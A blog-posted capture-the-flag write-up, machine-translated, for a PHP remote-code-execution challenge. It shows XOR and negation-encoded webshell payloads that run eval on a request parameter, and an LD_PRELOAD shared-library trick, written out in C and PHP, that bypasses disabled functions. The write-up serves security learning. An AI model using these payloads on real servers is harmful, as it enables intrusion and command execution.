当前位置:网站首页>[geek challenge 2019] rce me
[geek challenge 2019] rce me
2022-06-26 04:16:00 【eliforsharon】
link : buuctf [ Geek challenge 2019]RCE ME.
Write it at the front
Ah, I learned a lot of new knowledge through this question , Record here , I really procrastinate , It needs a change , It's a long way to go
No alphanumeric RCE

To bypass by negating or XOR , That is, a string without alphanumeric characters is constructed by taking the negative or exclusive or payload.
Here, I want to construct a structure to connect the ant sword payload As shown below :
code=assert(eval($_POST['ma']));
Or is it
code=$_=_GET;${
$_}[_](${
$_}[__]);&_=assert&__=eval($_POST['ma']);
Use the negative method to get through php Of urlencode After coding, we get payload as follows :
code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%DD%92%9E%DD%A2%D6%D6);
By exclusive or php Of urlencode After coding payload as follows
code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${
$_}[_](${
$_}[__]);&_=assert&__=eval($_POST['ma']);
Successfully connected ant sword

Hijack share so
Found in the ant sword flag And reading flag Executable program of , Guess to run the executable to get flag.
adopt code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${$_}[_](${$_}[__]);&_=assert&__=phpinfo()
It is found that most functions that can execute commands are disabled orz
Then I went into the unknown , link : Reference article : Explain profound theories in simple language LD_PRELOAD & putenv().
You can use the plug-in of ant sword ( Bypass disable_functions), It can also be used. github The file of , Here I mainly record the method I learned from the principle .
LD_PRELOAD
LD_PRELOAD The shared library file of the specified environment variable path will be called one step before other shared libraries , adopt putenv You can set the environment variable .
So we can think of , Write a function that will call the shared library file php Program , Then write a function with the same name c Language program ( Contains the command you want to execute ), And generate .so Share the library file and then go through putenv Set to LD_PRELOAD. So in php When the program runs, it will call the function with the same name we wrote according to the link rules , This achieves hijacking sharing so Purpose .
__ attribute __ ((constructor))
The method of writing functions with the same name is naturally feasible ( Such as geteuid), A more general approach is to use __attribute__((constructor)), It will start at the beginning of the program , Triggered when the shared library starts loading .
Execution process
The first is to write and execute c Language program
#include<stdlib.h>
#include<unistd.h>
#include<sys/types.h>
__attribute__((__constructor__)) void angel(){
unsetenv("LD_PRELOAD");
system("/readflag > /var/tmp/1.txt");
}
Then generate the shared library file 1.so
gcc 1.c -fPIC -shared -o 1.so
Write the corresponding php Program
<?php
putenv("LD_PRELOAD=/var/tmp/1.so");
mail("","","","");
var_dump(file_get_contents('/var/tmp/1.txt'));
?>
take php Document and so Upload files 
adopt include Include uploading files to load shared libraries and execute commands .
The command you want to upload is
code=$_=_GET;${
$_}[_](${
$_}[__]);&_=assert&__=include('/var/tmp/1.php');
payload by
code=$_=%ff%ff%ff%ff^%a0%b8%ba%ab;${
$_}[_](${
$_}[__]);&_=assert&__=include('/var/tmp/1.php');
Finally get flag
边栏推荐
- Principle and implementation of syn cookie
- Question brushing record day01
- Parse JSON interface and insert it into the database in batch
- ipvs之ipvs0网卡
- Yolov5 improvements: replace the backbone
- Report on operation mode and future development trend of China's refining and chemical market 2022-2028
- Custom parameter QR code picture combined with background picture to generate new picture node environment
- Part 4: drawing quadrilateral
- Ubuntu installs PostgreSQL and uses omnidb to view
- Understand CGI and fastcgi
猜你喜欢

After four years of outsourcing, people are directly abandoned...

Redis cache data consistency solution analysis
![[Flink] a brief analysis of the writing process of Flink sort shuffle](/img/27/01e95b44df46d8bfcb36ab1d746cc2.jpg)
[Flink] a brief analysis of the writing process of Flink sort shuffle

Use soapUI to access the corresponding ESB project

35岁程序员炒Luna 千万资产3天归零,网友:和赌博一样
![[Qunhui] import certificate](/img/1f/ab63b0556a60b98388b482d70f6156.jpg)
[Qunhui] import certificate

Judge the same value of two sets 𞓜 different values

软件调试测试的十大重要基本准则

College C language final exam · multiple choice questions · summary notes of mistakes and difficulties
![[Qunhui] command line acme SH automatically apply for domain name certificate](/img/7b/8cb99ee0d74692ff6afd8513b02834.jpg)
[Qunhui] command line acme SH automatically apply for domain name certificate
随机推荐
Etcd watch principle
Zhubo Huangyu: you can try these non-agricultural operation skills
Tencent Interviewer: How did binder get its system services?
在出海获客这件事上,数字广告投放之外,广告主还能怎么玩儿?
List of provinces, cities and counties in China
win10 系统打开的软件太小,如何变大(亲测有效)
Analysis of the principle of obxwidget
Optimization - multi objective planning
Li Kou 79 word search
Open source! Vitae model brushes the world's first again: the new coco human posture estimation model achieves the highest accuracy of 81.1ap
微软禁止俄用户下载安装Win10/11
After a test of 25K bytes, I really saw the basic ceiling
ipvs之ipvs0网卡
线程同步之互斥量(互斥锁)
What preparation should I make before learning SCM?
The open software of win10 system is too small. How to make it larger (effective through personal test)
Spark - 一文搞懂 parquet
asp. Net web page, ASP connects to the database, and uses asp:panel and asp:dropdownlist controls
Computer network high frequency interview questions
What's wrong with connecting MySQL database with eclipse and then the words in the figure appear